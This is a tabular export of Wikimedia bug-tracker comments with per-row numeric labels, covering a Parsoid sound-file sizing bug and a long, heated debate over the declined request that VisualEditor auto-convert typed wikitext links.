+244411,"Parsoid provides 200px-width default for sound files, rather than the sound icon at standard size",This is now fixed in production for Parsoid (and so for VisualEditor). Sorry for the bug!,,,1371519787,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-d53fjwjfjlwbqoq4e52t,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+244404,"Parsoid provides 200px-width default for sound files, rather than the sound icon at standard size","It's inserting a thumbnail image at fixed 200px width.
+
+<img resource=""./File:Hermann_Müller.ogg"" src=""http://upload.wikimedia.org/wikipedia/commons/d/d3/Hermann_M%C3%BCller.ogg"" width=""200"" data-parsoid=""{&quot;a&quot;:{&quot;resource&quot;:&quot;./File:Hermann_Müller.ogg&quot;},&quot;sa&quot;:{&quot;resource&quot;:&quot;:File:Hermann Müller.ogg&quot;}}"">",,,1371475842,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-d53fjwjfjlwbqoq4e52t,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+51686,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"Bug title may be a bit confusing; essentially, a user has suggested that the VE auto-convert wikimarkup entered ''into'' the VE, on save. The use case is users who keep typing [[link]], basically.
+
+My feelings on this are mixed; I think it's perfectly possible that this would be useful, but it sounds like a ton of work and it's also perfectly possible that, once we go live, muscle memory will adapt and there'll be no point to this. For now, sticking it in as a potential future enhancement.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49820
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51899
+https://bugzilla.wikimedia.org/show_bug.cgi?id=47779",High,80.0,1371468300,1377819704.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-gmfhmaeyushutcy45y6x,task_description,declined,True,c1,2,False,False,True,-2,,0,0,1,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,1,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+244249,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to Amalthea from comment #40)
+> I really don't get why you're fighting this so hard.
+
+It should be obvious by now that VE's development has been made an ideological matter. This feature request involves some degree of the ""old way"" of doing things, thus is forbidden.",,,1400618098,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,46,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+244245,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"I'll clarify that ""it shouldn't happen"" means just that it is not useful/desirable to have it IMHO, or at least I can't think of a situation where it would be.",,,1380723401,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,1,0
+244242,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"48891 and 53974 cover that specific problem. The wikimarkup warning is just a warning, it does not stop you from doing anything. 
+As for [[[[this situation]]]], of course it shouldn't happen. I can't recall the bug number though, right now, and since a quick search did not seem successful, I'll come back on that later.",,,1380722782,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,13,,0,1,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,1
+244238,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"**Wikifram** wrote:
+
+What I mean is that you start with wikimarkup visible in the VE editing mode. When you add something (''not'' wikimarkup) inside such wikimarkup, you get the wikimarkup notice at the top right; but on saving, the existing wikimarkup remains. [https://www.mediawiki.org/w/index.php?title=User%3AElitre_%28WMF%29%2FSandboxVE&diff=794444&oldid=794415]
+
+So my questions are; why is the existing wikimarkup accepted and displayed here, why is it recognised by the wikimarkup detection error, but why is it then not changed on saving? 
+
+This behaviour may give a clue as to how wikimarkup can be accepted in VE after all (but then again, perhaps not), but it certainly is baffling me.",,,1380722209,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,13,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,1,0,1,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1
+244232,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"Hi there, I don't think I see your VEdit there. I did https://www.mediawiki.org/w/index.php?title=User%3AElitre_%28WMF%29%2FSandboxVE&diff=794415&oldid=794413 and https://en.wikipedia.org/w/index.php?title=User%3AElitre_%28WMF%29%2FSandbox&diff=575429594&oldid=575429509 instead, nowikis are added as the only expected outcome. Which conversion should have happened when VEditing? Thanks.",,,1380717126,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,13,,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,0,0,0
+244227,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"**Wikifram** wrote:
+
+Can someone explain why [https://www.mediawiki.org/wiki/Communication?veaction=edit this page] seems to accept wikitext markup, even in VE mode? On saving, it gives the ""nowiki"" warning, but it doesn't actually convert the existing ""[["" and ""]]"" into wikitext. A very strange page in VE mode, that one.",,,1380715761,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,13,,0,1,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+244225,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"**Amalthea.wikimedia** wrote:
+
+(In reply to comment #39)
+> [...] this bug is - by definition of the product - a WONTFIX.
+
+James, this is simply not true. See comment #36 about auto formatting logic in other visual word processors.
+I really don't get why you're fighting this so hard.",,,1377849879,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+244222,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #10)
+> Marking as WONTFIX per my earlier comments and Erik's.
+
+… again. Bug 51897 is indeed different; my apologies for merging it based on my reading of the bug as filed. However, this bug is - by definition of the product - a WONTFIX.",,,1377819704,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1
+244220,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"user John Broughton at en.wp comments:
+""Rather than focus on improving [the warning about entering wikitext], a better direction to go would be for VE to be able to convert wikitext to its equivalent in VE. Thus if one typed [[New York City]], for example, VE would convert that to its format for an internal link. This is fairly straight-forward, programming-wise: after VE adds a closing nowiki tag for some text, it would examine it for conversion possibilities: external link? internal link? footnote? template?""",,,1376340113,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,6,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,1,0,1
+244216,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #22)
+> 
+> If accidental insertion of wikitext is still an issue, we should focus on
+> other
+> ways to mitigate that issue.
+
+2 things: 
+1) it's not an ""if"", and i do not think you guys should wait for the community to prove it to you. you should go hunt for it, so you can see for yourselves that it *is* an issue (hint: look for edits with ""visualeditor"" tag that added <nowiki>: approximately 100% of those represent the problems. you have to tools to actually measure it across all projects where VE is enabled by default).
+2) ""focus on other ways to mitigate that issue"": how about solving bug 51897, instead of marking it ""low"" and basically ignoring it? this *is* exactly ""other ways to mitigate that issue"". 
+or ,alternatively, find a better way to solve it: right now, it seems the team is saying ""we'll focus on other ways to mitigate the issue"", but they do not actually mean it: what other ways? who is working on it? what do they do? where is the ""focus""?
+what you guys are doing today does not look very much like ""focus"" - it looks much more like ignoring the issue and hoping the problem will go away by itself.
+
+
+
+(In reply to comment #18)
+> Sorry, but this is not something we'll ever do, as I explained in comment 9.
+> It's not simply a matter of prioritization - it's a matter of ensuring we can
+> provide a user experience that's not modeled on markup, but on best user
+> experience practices. As James said, we provide keyboard shortcuts, and will
+> provide other user interfaces optimized for markup. But parsing markup within
+> the visual editing context is completely off the table.
+
+this is nothing more and nothing less than saying ""it's so because i said so"". 
+you made a bad decision. that's something that happened in life to (almost) all of us. the problem is not so much this bad decision - the problem your refusal to accept that it was a bad decision, and you insistence that it was a good decision, in face of all the evidence.
+
+
+The reason i am writing this is because nowhere can i find any indication that the VE team actually changed its mind or at least decided to reconsider. 
+it is very much possible that the team actually *did* decide to reconsider, and i just missed it. if this is the case, please be graceful and ignore my rant.
+
+peace.",,,1375729537,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,5,,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+244208,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"**Amalthea.wikimedia** wrote:
+
+Erik:
+
+(In reply to comment #18)
+> it's a matter of ensuring we can provide a user experience that's not modeled
+> on markup, but on best user experience practices.
+
+I don't think that was the suggestion above?
+
+Word processors have long supported text-based auto formatting logic, and they certainly aren't focusing on underlying markup. For example, to this day, you can *bold* and _italicize_ text in OpenOffice Writer and Microsoft Word by using the traditional markup, or define numbered and bulleted lists simply by starting the first item with ""* "", ""- "", or ""1. "".
+
+Adding auto-formatting logic does not impair the goals of the visual editor: defining a link via square brackets won't be the obvious way, and it will likely not be advertised anywhere except possibly in some settings page. It can be helpful without taking anything away from the vision.",,,1375614123,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,4,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1
+244203,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"**Wikifram** wrote:
+
+Note that this question is included in the large [[Wikipedia:VisualEditor/Default State RFC]] on the en.wikipedia, as question 5. The current tally, for what's it worth, is 28 supporting and 22 opposing, but with many conditional comments on both sides (""yes for X but no for Y""). Many of the opposes are ""no, because this is a WYSIWYG"", but in reality, of course, this isn't a wysiwyg but a hybrid anyway... (you still need to know wikimarkup to do a lot of things in the new editor in mainspace as well)",,,1375426633,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+244198,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"**Wikifram** wrote:
+
+Erik Moeller, do you have any idea how many hours are spent on correcting these ""nowikis"" every day? Do you, on the other hand, have any data on how many ""correct"" nowiki tags are added? Is there any reason why what should be a no-brainer (not per se an easy one technically, but a no-brainer from the should-be-done point-of-view) improvement is so drastically rejected? 
+
+Have any of you considered that, as of now, new editors using only VE and only editing the mainspace still need to know the [[ ]] syntax anyway? A simple example: on the English wikipedia, I opened [[HKBK College of Engineering]] with the VE, and clicked on the infobox. Click on a parameter, e.g. city, and what you are confronted with is [[Bangalore]]. So new editors ''need'' to use it in the infobox, but are ''not allowed'' to use it in the article text, and this is supposed to be an improvement why? 
+
+What is actually the reason (apart from perhaps ""technical difficulty"") that square brackets are no longer allowed as an alternative method of creating wikilinks? No one is asking to disable the VE wikilinking methods, but no one seems to understand the insistence of the WMF on disallowing the square brackets method either.",,,1375350281,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+244190,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #31)
+> I think that James' marking your bug as a duplicate was likely caused by his
+> misunderstanding your request. He is part of the VE team but I have met him
+> at Wikimeets a few times and I can assure you he is human.
+
+
+the last line makes me think that maybe some of my comments can be read in a way that does not fully match the spirit in which they were written.
+
+although i have criticism, especially toward the perceived attitude of VE team towards their user base, i never meant to say or hint any of them is a bad person or less than brilliant developer.
+
+as i already said in this thread, i think VE itself is a great thing, we want it, we need it, and we want it to succeed. 
+
+hope that heated and less-than-polite things said in this (and maybe other) discussions will not be taken as attacks - it is/was never the intention to attack anyone.
+
+peace.",,,1374758978,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,1,1,1,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,1,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+244184,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #28)
+Thank you for clarifying the two requests, Chris. That was super-helpful. :-)
+
+(In reply to comment #29)
+> maybe instead of coming here, what i should have done is to reopen and remove
+> the ""duplicate"" designation. 
+
+My apologies, kipod. Thank you for patiently putting up with me. Indeed, I think bug 51897 is not a duplicate of this bug. My comments were strictly related to the original request here on bug 49686.
+
+I don't know what the VisualEditor team's view is on your request at bug 51897, so I'm going to go ahead and un-dupe bug 51897 now. Bug 51897 may also eventually be marked resolved/wontfix, but it doesn't seem to be within the scope of this bug, so it should be handled separately.",,,1374721119,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+244177,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"I think that James' marking your bug as a duplicate was likely caused by his misunderstanding your request. He is part of the VE team but I have met him at Wikimeets a few times and I can assure you he is human.
+
+As for Bug 51899, yes that is a perfect match. Thank you.",,,1374712742,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+244172,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"oh, and what you describe as ""the ideal solution"", sounds a lot like bug 51899 to me.
+
+peace.",,,1374709297,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,0,1,1,1,0,0,0,0
+244168,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"i think you are correct stating that these two ""definitions"" of the enhancement request are not identical.
+however, i came here to bug you guys with ""my"" definition of the request after Forrester closed  bug 51897 with ""duplicate"". the bug he closed listed my request exactly.
+maybe instead of coming here, what i should have done is to reopen and remove the ""duplicate"" designation. 
+
+my guess is that it wouldn't make a huge difference - the team would have closed it as ""WONTFIX"" instead of closing it as ""DUPLICATE"". i took them on their word about these two request being one and the same - maybe it was a mistake. (afaik, Forrester is part of VE team).
+
+as to ""[["" being ambiguous: i did not dive deeply into it, and did not conduct extensive tests, but i think that typing ""[["" anywhere on the page will cause VE to jump the ""wikicode detected"" popup. as a wikicode, ""[["" is not ambiguous at all, i think. it means ""start internal link here"".
+
+
+peace.",,,1374709091,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+244166,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"There are at least two separate requests here. They are related in that they both want to change the current behaviour of the two character sequence ""[["" in VisualEditor but they want to change it in incompatible ways. 
+
+Kipod is asking for the key sequence [[ to be treated the same as the key sequence ctrl+k. It is not asking for, nor would it require any changes to rendering. For the purposes of this comment I'll refer to this as ""Kipod's request""
+
+MZMcBride is commenting the original request which was for the sequence [[link]] to be parsed (either at save or on the fly) as if it were a link added using the link inspector. For the purposes of this comment I'll refer to this as the ""original request"".
+
+The two are not the same and the past few posts have seen people talking past each other. 
+
+I can see the merits of the original request but I can also see where the VE team are coming from. The desire stems from people wanting the best of both worlds - they want to be able to have the structure and layout of the visual editor with the low-level control they are used to in the source editor all in one place. Long term something like this really ought to be possible, but I don't think this is the way. Rather there should be some way for the visual editor to include non-visual blobs that it sends to the parser as is without doing anything to it (other than word wrapping in the editing window); and some way for the editor to mark the start and end of such blobs. This is not what the original request is asking for though.
+
+Kipod's request is something that imho should not be included as a default, as while [[word]] or [[short phrase]] are unlikely to be anything other than links, [[ on it's own is far more ambiguous and there is more scope for the desired action to be something other than inputting a link. Rather there should either be a built-in method for users to define their own shortcuts or a simple way (an API?) for a gadget that allows users to reliably define their own shortcuts to have the same effect without needing to be rewritten every time VE or some other mediawiki component is updated. 
+
+I recommend that if anyone wants further discussion on either request that the bugs are unmerged.",,,1374707128,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,1,1,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+244164,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"i still do not think you understood the request. 
+it's not about transforming [[Foo]] to a link, it's about not getting [[Foo]] into the page in the first place: as soon as the user types ""[["", the ""[["" should be removed from the page and interpreted as <Ctrl>+K.
+
+
+as to your questions about File:Foo.jpg or Category:Foo: what does VE do today when someone presses <Ctrl>+K and then feeds ""File:Foo.jpg"" or ""Category:Foo"" ?
+whatever it does today, this is what i expect it to do when someone types ""[["" and then feeds in the link form ""File:Foo.jpg"" or ""Category:Foo"".
+
+
+> (In reply to comment #25)
+> ......
+> And, of course, a certain percentage of users will want to actually include
+> brackets (""["" and ""]"") in their edits. How do they undo the magical
+> transformation?
+> 
+
+these are just straw arguments. 
+there are many many many things one can't do now using VE. it will not at all be so bad if the extremely rare case of having to add ""[["" to the page within ""nowiki"" tags will be one of them. 
+definitely much much better than current situation, where hundreds of edits with ""[["" enclosed inside ""nowiki"" tags are added to enwiki daily, when the editors actually intended to add a link (i did not count them myself - this is what i'm led to believe based on reports of editors who actually clean this mess).
+
+peace.",,,1374702684,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+244158,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #25)
+> what we ask (at least, this is what i asked - see bug 51897, which was marked
+> as duplicate of this one) is that when the user types ""[["", VE will remove
+> the ""[["" from the page, and behave as if the user typed <Ctrl>+K, i.e. open
+> the ""Link"" form.
+
+Yep, I think everyone commenting on this bug understands the request. :-)
+
+The problem is, as stated, computers aren't very good at reading minds or understanding context. You want to support ""[["" magically transforming into a VisualEditor link. This is certainly possible to implement, but then you naturally have to support:
+
+* [[foo]]
+* [[foo]]s
+* [[foo|bar]]
+* [[w:foo]]
+* [[w:foo|]]
+* [[w:en:foo (bar)|]]
+* [[WP:FOO]]
+
+When a user types ""[[File:foo.png]]"", do they really mean they want a link to the file or do they really mean they want to include the file?
+
+What about ""[[Category:foo]]""? It's often trivial for humans to understand what we mean or to understand what other humans mean, but computers... not so much.
+
+Once we add support for [[]] magically transforming into a link, does that mean we also have to support magic words such as {{DEFAULTSORT:}}, __NOTOC__, and so on? What about ParserFunctions such as {{#time:}} and {{#if:}}?
+
+And, of course, a certain percentage of users will want to actually include brackets (""["" and ""]"") in their edits. How do they undo the magical transformation?
+
+Down this path, madness lies, I promise.
+
+> easy to do, simple, and does not go against any principle in UI design,
+> except sheer stubbornness of the VE team.
+
+The VE team has certainly exhibited some stubbornness. But I personally agree with their decision here.
+
+> unfortunately i am not able at this time to provide a patch, but 92.24% of
+> the code is already in place - just find where VE jumps the popup, and do
+> something useful instead.
+
+A patch to VisualEditor or to MediaWiki will not be accepted. However, users are welcome to create JavaScript gadgets, personal JavaScript subpages, client-side scripts (think Greasemonkey), or even implement site-wide JavaScript with appropriate community consultation and consensus.",,,1374701180,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1
+244152,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"i am not sure you understand the precise nature of this request, so let me elaborate:
+
+what we ask (at least, this is what i asked - see bug 51897, which was marked as duplicate of this one) is that when the user types ""[["", VE will remove the ""[["" from the page, and behave as if the user typed <Ctrl>+K, i.e. open the ""Link"" form.
+
+simple and easy, VE already recognizes that the user typed ""[["" - all we ask is that instead of jumping less-than-useful-and-often-out-of-screen popup, VE will do something good and useful for the community, for society, and for humanity.
+
+in the same way, when the user types ""{{"", remove it from the page and behave as if she clicked on the puzzle piece, instead of jumping the less-than-useful popup.
+
+easy to do, simple, and does not go against any principle in UI design, except sheer stubbornness of the VE team.
+
+unfortunately i am not able at this time to provide a patch, but 92.24% of the code is already in place - just find where VE jumps the popup, and do something useful instead.
+
+peace.",,,1374690348,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1
+244145,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #23)
+> well, in all this products, when i misspell a word, the thing silently and
+> valiantly just fix my mistake, instead of shouting at me[1]. 
